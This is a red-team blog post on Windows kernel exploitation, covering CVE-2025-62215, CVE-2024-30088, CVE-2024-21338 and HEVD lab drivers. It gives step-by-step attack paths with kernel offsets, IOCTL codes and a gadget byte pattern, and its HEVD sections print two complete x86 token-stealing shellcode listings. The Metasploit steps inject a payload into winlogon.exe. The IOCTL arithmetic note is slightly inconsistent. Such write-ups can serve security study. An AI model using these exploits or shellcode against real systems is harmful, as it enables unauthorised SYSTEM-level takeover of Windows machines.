Debugging Kernel Exploitation
Deep dive into Kernel Exploitation — CVE analysis, exploit development, token stealing shellcode, and debugging techniques
Hi I’m DebuggerMan, a Red Teamer. In this post I will deep dive into Kernel Exploitation — most CVEs, some analysis, and exploits.
What is Kernel Exploitation?!
Vulnerable syscalls — Kernel exploitation is the exploitation of security flaws in ring 0. The techniques used in order to exploit this kind of vulnerability are a bit different from exploiting a userland application. And when you begin, it can be a bit hard to understand. In ring 0 or in “kernel land” relies the internals of your operating system. For example a userland application pass execution to kernel land for many purposes, such hardware access or native/privileged features of your operating system.
CVE-2025-62215
Race condition -> double free -> kernel heap corruption -> privilege escalation
The root cause is a race condition: multiple threads access the same kernel object simultaneously without proper synchronization (missing lock/spinlock on the shared resource). This leads to:
- Double Free: the kernel frees the same memory block twice, corrupting the kernel heap allocator’s internal linked list
- Heap Corruption: the freed chunk appears twice in the free list, so two subsequent allocations return the same memory address
- Object Overlap: the attacker places a controlled fake object in the same memory as a legitimate kernel object, gaining control over its function pointers
Attack Path
1
2
3
4
5
6
7
8
9
Thread A: NtClose(handle) -> kernel frees object at 0xFFFF8000
| (nanosecond race window)
Thread B: NtClose(handle) -> kernel frees 0xFFFF8000 AGAIN (double-free)
|
Attacker: NtCreateFile(...) -> new object allocated at 0xFFFF8000 (overlaps freed slot)
|
Attacker: places fake callback -> kernel calls corrupted function pointer
|
Token steal shellcode executes -> SYSTEM privileges achieved
API Calls
1. RaceAttack — void RaceAttack(int thread_id, std::mt19937& local_rng)
Triggers the race condition using precise nanosecond timing:
- Calls
NtClose(handle)to free the kernel object - Immediately calls
NtClose(handle)again in a tight loop (double-free) - Uses
QueryPerformanceCounter/QueryPerformanceFrequencyfor nanosecond-precision timing to hit the race window - Calls
NtCreateFile(...)to reclaim the freed memory with a controlled object
API functions used:
NtClose()— closes a kernel handle, triggers object deallocationNtCreateFile()— creates a new kernel file object to reclaim freed memoryQueryPerformanceCounter()— high-resolution timestamp for race timingQueryPerformanceFrequency()— timer frequency for nanosecond calculation
2. PerformHeapGrooming — bool PerformHeapGrooming()
Prepares the kernel heap so the double-free lands in a predictable location:
- Allocates 256 memory chunks via
VirtualAllocwith specific patterns - Creates controlled fragmentation by randomly freeing 1/3 of chunks via
VirtualFree - Fills memory with detectable byte patterns (
0x41414141 + offset) to track corruption - Randomizes allocation sizes (base
0x1000+ random variation up to0x200) to evade detection
API functions used:
VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)— allocates user-mode memory chunksVirtualFree(addr, 0, MEM_RELEASE)— frees chunks to create fragmentation holes
3. CheckSystemPrivileges — bool CheckSystemPrivileges()
Verifies if exploitation succeeded by checking for SYSTEM-level access:
- Opens the process token via
OpenProcessToken - Queries
TokenUserto check if the token SID matches SYSTEM (S-1-5-18) - Also checks if
SeDebugPrivilegeis enabled (SYSTEM indicator) - Called by the monitor thread every 100ms to detect success in real-time
API functions used:
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)GetTokenInformation(hToken, TokenUser, ...)GetTokenInformation(hToken, TokenPrivileges, ...)AllocateAndInitializeSid(SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID)EqualSid()— compares current token SID against SYSTEM SIDLookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)
4. SpawnRaceThreads — bool SpawnRaceThreads()
Orchestrates the multi-threaded race attack:
- Spawns 16 race threads via
CreateThread, each running through 3 phases:- Phase 0 - Probing: duplicates handles with
NtDuplicateObjectto map the handle table - Phase 1 - Race Attack: triggers the double-free via concurrent
NtClosecalls - Phase 2 - Post-Race: places controlled objects in freed kernel memory
- Phase 0 - Probing: duplicates handles with
- Spawns 1 monitor thread that calls
CheckSystemPrivileges()every 100ms - Threads are staggered by 2ms intervals with sub-microsecond fine-tuning
- Times out after 8 seconds if exploitation fails
API functions used:
CreateThread(NULL, 0, RaceThreadProc, this, 0, NULL)WaitForSingleObject(hThread, 1000)Sleep(THREAD_STAGGER_MS)— staggers thread creation for timing precision
CVE-2024-30088
Windows Kernel TOCTOU Local Privilege Escalation
TOCTOU race -> arbitrary kernel write -> IO Ring corruption -> full R/W primitive -> token swap
The fundamental problem relates to how Windows validates user-mode pointers in kernel context. Windows relies on ProbeForRead and ProbeForWrite to validate that pointers passed from user-mode actually point to user-mode memory before the kernel accesses them. However, these probes only check at the time of the call — they don’t prevent the memory mapping from changing between the check and the use (Time-of-Check Time-of-Use).
The first vulnerability was found in a new driver called bfs.sys, where the function RtlCopyUnicodeString was being used on user-mode memory even though it’s designed only for kernel-mode buffers. This allows an attacker to copy data to an arbitrary kernel address. Unfortunately, this vulnerability wasn’t present in the version targeted by the Pwn2Own contest (23H2).
The second vulnerability (CVE-2024-30088) came from hunting for the same pattern in ntoskrnl.exe (the NT kernel). It was found in a function called AuthzBasepCopyoutInternalSecurityAttributes, which gets called through the NtQueryInformationToken syscall. Same mistake: using RtlCopyUnicodeString on user-mode memory without proper validation, allowing writes to arbitrary kernel memory locations.
Decompiled view of the vulnerable function — RtlCopyUnicodeString writing to an attacker-controlled address
Attack Path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. Attacker calls NtQueryInformationToken(TokenSecurityAttributes)
|
2. Kernel enters AuthzBasepCopyoutInternalSecurityAttributes
|
3. Kernel calls ProbeForWrite on user buffer (validates pointer)
| (TOCTOU window - attacker remaps buffer to kernel address)
|
4. Kernel calls RtlCopyUnicodeString -> writes "TSA://ProcUnique" (32 bytes)
to attacker-controlled kernel address
|
5. Attacker targets IO_RING object -> overwrites RegBuffers field
to point to user-mode controlled address
|
6. Collateral: CompletionUserEvent field also corrupted
-> attacker uses first write to fix it before BSOD
|
7. Attacker now has arbitrary kernel R/W through corrupted IO Ring
|
8. Reads SYSTEM process token from EPROCESS, copies it over
current process token -> SYSTEM privileges
API Calls
Triggering the vulnerability (User-Mode):
NtQueryInformationToken(hToken, TokenSecurityAttributes, buffer, ...)— triggers the vulnerable code path in the kernelCreateThread()— spawns the racing thread that remaps the buffer during the TOCTOU windowVirtualAlloc()/VirtualFree()— used to remap the user-mode buffer to a kernel address during the race
Vulnerable kernel path (inside ntoskrnl.exe):
AuthzBasepCopyoutInternalSecurityAttributes()— the vulnerable functionProbeForWrite(buffer, size, alignment)— validates the output buffer points to user-mode (the “check”)RtlCopyUnicodeString(dest, src)— copies the attribute name string to the buffer (the “use”) — by this time the attacker has remapped the buffer to a kernel address
Exploitation primitives:
- IO Ring structures (
IORING_OBJECT) — targeted for corruption because they provide built-in read/write primitives RegBuffersfield — redirected to user-mode, giving the attacker control over IO Ring buffer registrationCompletionUserEventfield — must be fixed immediately to prevent BSOD
Metasploit module (cve-2024-30088.rb):
session.sys.process.open(pid, PROCESS_ALL_ACCESS)— opens target process handleexecute_dll(dll_path, result_addr, pid)— reflective DLL injection of the exploitsession.railgun.kernel32.WaitForSingleObject(handle, timeout)— waits for exploit DLL to completesession.railgun.kernel32.GetExitCodeThread(handle)— checks if exploit succeededwinlogon_process.memory.allocate(size)— allocates memory in winlogon.exe (SYSTEM process)winlogon_process.memory.write(addr, shellcode)— writes payload into winlogonwinlogon_process.thread.create(addr, 0)— creates remote thread in winlogon.exe to execute payload
POC: CVE-2024-30088
CVE-2024-21338
The vulnerability exists in a Windows driver called appid.sys (part of the AppLocker service, which controls which applications and files users are allowed to run).
This driver is present by default in Windows 10 and Windows 11 — no external or third-party driver needs to be loaded. This makes it significantly more dangerous than traditional BYOVD (“Bring Your Own Vulnerable Driver”) techniques.
The attacker can exploit a flaw in a specific IOCTL handler inside the driver to corrupt a critical value called PreviousMode in the _KTHREAD structure (which represents the current thread in the kernel).
PreviousMode = 1— syscall originated from User Mode (access checks enforced)
PreviousMode = 0— syscall originated from Kernel Mode (no access checks, full access)
By setting it to 0, Windows treats every subsequent syscall as coming from the kernel itself, allowing the attacker to read from and write to any location in kernel memory — resulting in full control over the system.
Attack Path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1. Initial Permissions Problem
Admin cannot open \Device\AppID -> ACL requires LOCAL SERVICE (SID: S-1-5-19)
|
2. Token Theft (Impersonation)
Admin opens winlogon.exe (SYSTEM) -> enumerates tokens -> finds LOCAL SERVICE
token in svchost.exe -> calls ImpersonateLoggedOnUser() on current thread
|
3. Open Device Handle
Now running as LOCAL SERVICE -> NtCreateFile("\Device\AppID") succeeds
|
4. Leak Kernel Addresses
NtQuerySystemInformation(SystemHandleInformation) -> leaks ETHREAD address
NtQuerySystemInformation(SystemModuleInformation) -> leaks ntoskrnl.exe base
|
5. Find kCFG Gadget
LoadLibraryExW("ntoskrnl.exe", DONT_RESOLVE_DLL_REFERENCES) -> loads as data
Pattern scan for ExpProfileDelete prologue: 40 53 48 83 EC 20 48 83 79 30 00
Calculate kernel address: ntoskrnl_base + offset
|
6. Craft Exploit Buffer
PreviousMode address = ETHREAD + 0x232
Target address = PreviousMode + 0x30 (ObfDereferenceObjectWithTag offset)
Set IOCTL buffer: FunctionPointer = ExpProfileDelete kernel address
|
7. Send IOCTL
NtDeviceIoControlFile(hDevice, IOCTL 0x22A018) -> invokes AipSmartHashImageFile
Driver calls attacker's function pointer -> ExpProfileDelete executes
ExpProfileDelete decrements value at target -> PreviousMode: 1 -> 0
|
8. Kernel R/W Achieved
NtReadVirtualMemory / NtWriteVirtualMemory now operate in KernelMode
Attacker can: steal tokens, disable EDR, install rootkits, modify any process
|
9. Cleanup
Restore PreviousMode to 1 via NtWriteVirtualMemory (still has kernel access)
Close handles, free memory
API Calls
Phase 1 - Token Impersonation:
OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, winlogon_pid)— opens winlogon.exeOpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)— gets SYSTEM tokenDuplicateHandle()— duplicates token handle for impersonationImpersonateLoggedOnUser(hLocalServiceToken)— current thread becomes LOCAL SERVICE
Phase 2 - Device Access:
RtlInitUnicodeString(&path, L"\\Device\\AppID")InitializeObjectAttributes(&objAttr, &path, OBJ_CASE_INSENSITIVE, NULL, NULL)NtCreateFile(&hDevice, GENERIC_READ | GENERIC_WRITE, ...)— opens handle to AppLocker driver
Phase 3 - Kernel Address Leaking:
DuplicateHandle(GetCurrentProcess(), (HANDLE)-2, ..., &hThread)— duplicates pseudo-handle (-2 = current thread) to get real handleNtQuerySystemInformation(SystemHandleInformation, ...)— enumerates all handles system-wide, finds our thread handle, leaks ETHREAD kernel addressNtQuerySystemInformation(SystemModuleInformation, ...)— enumerates loaded kernel modules, leaks ntoskrnl.exe base address
Phase 4 - Gadget Discovery:
LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)— maps ntoskrnl.exe into user-mode as dataIMAGE_FIRST_SECTION(pNtHeaders)— parses PE headers to locate the PAGE sectionmemcmp(pattern, &buffer[i], pattern_size)— linear scan forExpProfileDeleteprologue bytes
Phase 5 - Exploitation:
NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, 0x22A018, inputBuffer, bufferSize, NULL, 0)— sends crafted IOCTL to the vulnerableAipSmartHashImageFilehandler- Inside kernel:
ExpProfileDeleteis called via kCFG-valid function pointer, performslock xadd(atomic decrement) atETHREAD + 0x232 + 0x30offset,PreviousModechanges from 1 to 0
Phase 6 - Post-Exploitation (Kernel R/W):
NtReadVirtualMemory(GetCurrentProcess(), kernelAddress, ...)— reads arbitrary kernel memory (works because PreviousMode = 0)NtWriteVirtualMemory(GetCurrentProcess(), kernelAddress, ...)— writes arbitrary kernel memory
Phase 7 - Cleanup:
NtWriteVirtualMemory(... PreviousMode address ..., 1)— restores PreviousMode to UserModeNtClose(hDevice)— closes driver handleFreeLibrary(userBase)— unloads ntoskrnl.exe mapping
POC: CVE-2024-21338
Windows Kernel Exploitation: Stack Overflow
Kernel Stack Overflow -> EIP Hijack -> Token Stealing Shellcode -> SYSTEM
The vulnerability exists in HackSys Extreme Vulnerable Driver (HEVD) v2.00, in the TriggerBufferOverflowStack() function. The driver allocates a fixed 2048-byte (0x800) kernel stack buffer, but copies user data into it using RtlCopyMemory() with a user-controlled size parameter and no bounds checking.
The vulnerable code pattern:
1
2
3
// KernelBuffer = 0x800 bytes on the kernel stack
// Size = comes directly from user input (NO validation)
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
By sending more than 2048 bytes, the attacker overflows the stack buffer and overwrites the saved return address (EIP) on the kernel stack with a pointer to shellcode.
Kernel Internals: Token Stealing
Every Windows process has an access token (stored in _EPROCESS + 0xF8) that defines its security context. The SYSTEM process (PID 4) has the highest-privileged token. By copying the SYSTEM token into the current process’s _EPROCESS, the attacker’s process inherits SYSTEM privileges.
Key structure offsets (Windows 7 SP1 x86):
| Structure | Offset | Field | Description |
|---|---|---|---|
_KPCR | fs:[0x124] | _KTHREAD | Pointer to current thread |
_KTHREAD | +0x50 | _EPROCESS | Current process (via ApcState.Process) |
_EPROCESS | +0xB4 | UniqueProcessId | Process PID |
_EPROCESS | +0xB8 | ActiveProcessLinks | Doubly-linked list of all processes |
_EPROCESS | +0xF8 | Token | Process access token |
Attack Path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1. Allocate RWX memory for shellcode
VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
2. Copy token-stealing shellcode into RWX region
RtlMoveMemory(ptr, shellcode, len)
|
3. Open handle to vulnerable driver
CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", ...)
|
4. Build overflow buffer:
[2080 bytes padding ("A" * 2080)] + [4-byte pointer to shellcode]
The 2080 bytes fill the 2048-byte buffer + 32 bytes of stack frame
|
5. Send IOCTL 0x222003 to trigger TriggerBufferOverflowStack()
DeviceIoControl(handle, 0x222003, buffer, len, ...)
|
6. RtlCopyMemory overflows kernel stack -> overwrites saved EIP
|
7. Function returns -> CPU jumps to shellcode (now executing in Ring 0)
|
8. Shellcode walks _EPROCESS linked list:
fs:[0x124] -> _KTHREAD -> _EPROCESS -> ActiveProcessLinks
Walks list comparing UniqueProcessId until PID == 4 (SYSTEM)
|
9. Copies SYSTEM token to current process:
current_EPROCESS->Token = system_EPROCESS->Token
|
10. Shellcode returns cleanly -> user-mode cmd.exe spawns with SYSTEM token
Token Stealing Shellcode (x86)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pushad ; Save all registers
xor eax, eax ; EAX = 0
mov eax, fs:[eax + 0x124] ; EAX = _KPCR.CurrentThread (_KTHREAD)
mov eax, [eax + 0x50] ; EAX = _KTHREAD.ApcState.Process (_EPROCESS)
mov ecx, eax ; ECX = current process _EPROCESS
mov edx, 0x4 ; EDX = SYSTEM PID (always 4)
find_system:
mov eax, [eax + 0xB8] ; EAX = ActiveProcessLinks.Flink (next process)
sub eax, 0xB8 ; Adjust back to _EPROCESS base
cmp [eax + 0xB4], edx ; Compare UniqueProcessId with 4
jne find_system ; Loop until SYSTEM process found
mov edx, [eax + 0xF8] ; EDX = SYSTEM process Token
mov [ecx + 0xF8], edx ; Overwrite current process Token
popad ; Restore all registers
pop ebp ; Restore stack frame
ret 0x8 ; Return, clean 8 bytes from stack
API Calls
Phase 1 - Shellcode Preparation:
VirtualAlloc(NULL, len, 0x3000, 0x40)— allocates RWX memory (PAGE_EXECUTE_READWRITE) to bypass DEPRtlMoveMemory(ptr, shellcode, len)— copies shellcode bytes into the executable region
Phase 2 - Driver Communication:
CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, ...)— opens device handle via symbolic linkDeviceIoControl(handle, 0x222003, buffer, len, ...)— sends IOCTL0x222003which routes toBufferOverflowStackIoctlHandler()-> callsTriggerBufferOverflowStack()with user buffer
Phase 3 - Inside the Kernel:
RtlCopyMemory(KernelBuffer, UserBuffer, Size)— the vulnerable copy, Size is user-controlled- EIP overwrite — function epilogue pops the corrupted return address, CPU jumps to shellcode
- Shellcode accesses
fs:[0x124], walks_KPCR->_KTHREAD->_EPROCESSchain - Token copy:
*(current_EPROCESS + 0xF8) = *(system_EPROCESS + 0xF8)
Phase 4 - Post-Exploitation:
Popen("start cmd", shell=True)— spawnscmd.exewhich inherits the stolen SYSTEM token
WinDbg Verification:
r— display registers (showsEIP = 0x41414141during crash test)!process 0 0— list all processes and their token addressesed nt!Kd_Default_Mask 8— enable debug print output from driver.reload— reload symbols after driver load
Exploit Development: Arbitrary Overwrites (Write-What-Where)
Arbitrary Write -> HalDispatchTable Overwrite -> NtQueryIntervalProfile -> Token Stealing -> SYSTEM
The vulnerability exists in HEVD’s TriggerArbitraryOverwrite() function. The driver receives a user-supplied structure containing two pointers (What and Where) and performs an unchecked write:
1
2
3
4
5
6
7
8
// The vulnerable operation - no validation on What or Where
*(Where) = *(What);
// The structure is defined as:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What; // pointer to the VALUE to write
PULONG_PTR Where; // pointer to the TARGET address to write to
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
The driver fails to call ProbeForRead() / ProbeForWrite() to validate that both pointers reside in user-mode. This allows the attacker to write an arbitrary value to an arbitrary kernel address.
Kernel Internals: HalDispatchTable
The Hardware Abstraction Layer (HAL) uses a dispatch table (nt!HalDispatchTable) containing function pointers for hardware-related operations. The undocumented function NtQueryIntervalProfile() internally calls KeQueryIntervalProfile(), which invokes the function pointer at HalDispatchTable + 0x4.
By overwriting HalDispatchTable + 0x4 with a pointer to user-mode shellcode, calling NtQueryIntervalProfile() causes the kernel to execute the shellcode in Ring 0:
1
2
3
4
User-mode Kernel-mode
NtQueryIntervalProfile() --> KeQueryIntervalProfile() --> call [HalDispatchTable + 0x4]
| (overwritten)
shellcode executes in Ring 0
Attack Path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1. Allocate RWX memory and copy token-stealing shellcode
VirtualAlloc() + RtlMoveMemory()
|
2. Find ntoskrnl.exe base address in kernel memory
EnumDeviceDrivers() -> iterate with GetDeviceDriverBaseNameA()
until "ntkrnl" found -> save base_address
|
3. Load ntoskrnl.exe in user-mode as data file
LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
|
4. Resolve HalDispatchTable in user-mode copy
GetProcAddress(kernel_handle, "HalDispatchTable") -> user_hal_address
|
5. Calculate real kernel address of HalDispatchTable + 0x4
kernel_hal = user_hal - user_base + kernel_base + 0x4
|
6. Build Write-What-Where structure:
What = pointer to shellcode address (user-mode)
Where = HalDispatchTable + 0x4 (kernel-mode)
|
7. Open handle to vulnerable driver
CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", ...)
|
8. Send IOCTL 0x0022200B to trigger TriggerArbitraryOverwrite()
DeviceIoControl(handle, 0x0022200B, &write_what_where, 0x8, ...)
|
9. Driver executes: *(Where) = *(What)
HalDispatchTable[1] now points to shellcode in user memory
|
10. Trigger the overwritten function pointer
NtQueryIntervalProfile(0x1234, &result)
|
11. Kernel calls HalDispatchTable+0x4 -> jumps to shellcode (Ring 0)
Shellcode steals SYSTEM token -> copies to current process
|
12. cmd.exe spawns with SYSTEM privileges
Token Stealing Shellcode (x86)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nop ; NOP sled (alignment)
nop
nop
nop
pushad ; Save all registers
xor eax, eax ; EAX = 0
mov eax, fs:[eax + 0x124] ; EAX = _KPCR.CurrentThread
mov eax, [eax + 0x50] ; EAX = _EPROCESS (current)
mov ecx, eax ; ECX = current process
mov edx, 0x4 ; EDX = SYSTEM PID
find_system:
mov eax, [eax + 0xB8] ; Walk ActiveProcessLinks.Flink
sub eax, 0xB8 ; Back to _EPROCESS base
cmp [eax + 0xB4], edx ; Check PID == 4?
jne find_system ; Loop until found
mov edx, [eax + 0xF8] ; EDX = SYSTEM Token
mov [ecx + 0xF8], edx ; Overwrite current Token
popad ; Restore registers
xor eax, eax ; EAX = 0 (STATUS_SUCCESS)
add esp, 0x24 ; Fix stack (clean up kernel frame)
pop ebp ; Restore base pointer
ret 0x8 ; Return, clean 8 bytes
API Calls
Phase 1 - Shellcode Preparation:
VirtualAlloc(NULL, len, 0x3000, 0x40)— allocates RWX memory for shellcodeRtlMoveMemory(ptr, shellcode, len)— copies shellcode to executable region
Phase 2 - Kernel Module Discovery:
EnumDeviceDrivers(byref(base_array), 1024, byref(needed))— enumerates all loaded kernel driversGetDeviceDriverBaseNameA(base_address, name_buffer, 48)— retrieves filename for each driver, used to findntoskrnl.exeLoadLibraryExA("ntoskrnl.exe", None, DONT_RESOLVE_DLL_REFERENCES)— loads ntoskrnl.exe into user-mode as data
Phase 3 - HalDispatchTable Resolution:
GetProcAddress(kernel_handle, "HalDispatchTable")— resolves user-mode address ofHalDispatchTable- Address translation:
kernel_hal = (user_hal - user_base) + kernel_base, target =kernel_hal + 0x4(i.e.HalDispatchTable[1])
Phase 4 - Trigger the Write:
CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, ...)— opens driver handleDeviceIoControl(handle, 0x0022200B, &wwwStruct, 0x8, ...)— sends IOCTL with theWRITE_WHAT_WHEREstructure- Inside kernel:
TriggerArbitraryOverwrite()executes*(Where) = *(What), overwritesHalDispatchTable + 0x4with shellcode pointer
Phase 5 - Execute via HAL Dispatch:
NtQueryIntervalProfile(0x1234, byref(c_ulong()))— calls the undocumented syscall:NtQueryIntervalProfile()->KeQueryIntervalProfile()->call [nt!HalDispatchTable + 0x4]- Since we overwrote that entry, the kernel jumps to our shellcode
- Shellcode runs in Ring 0, steals SYSTEM token
Phase 6 - Post-Exploitation:
Popen("start cmd", shell=True)— spawns cmd.exe with inherited SYSTEM token
IOCTL Code Calculation:
1
2
Stack overflow IOCTL: 0x222003
Arbitrary write IOCTL: 0x222003 + 0x8 = 0x0022200B
Each subsequent IOCTL handler is offset by 4 in the dispatch table, and the arbitrary write is 2 entries after stack overflow.
Follow me on X: @0XDbgMan
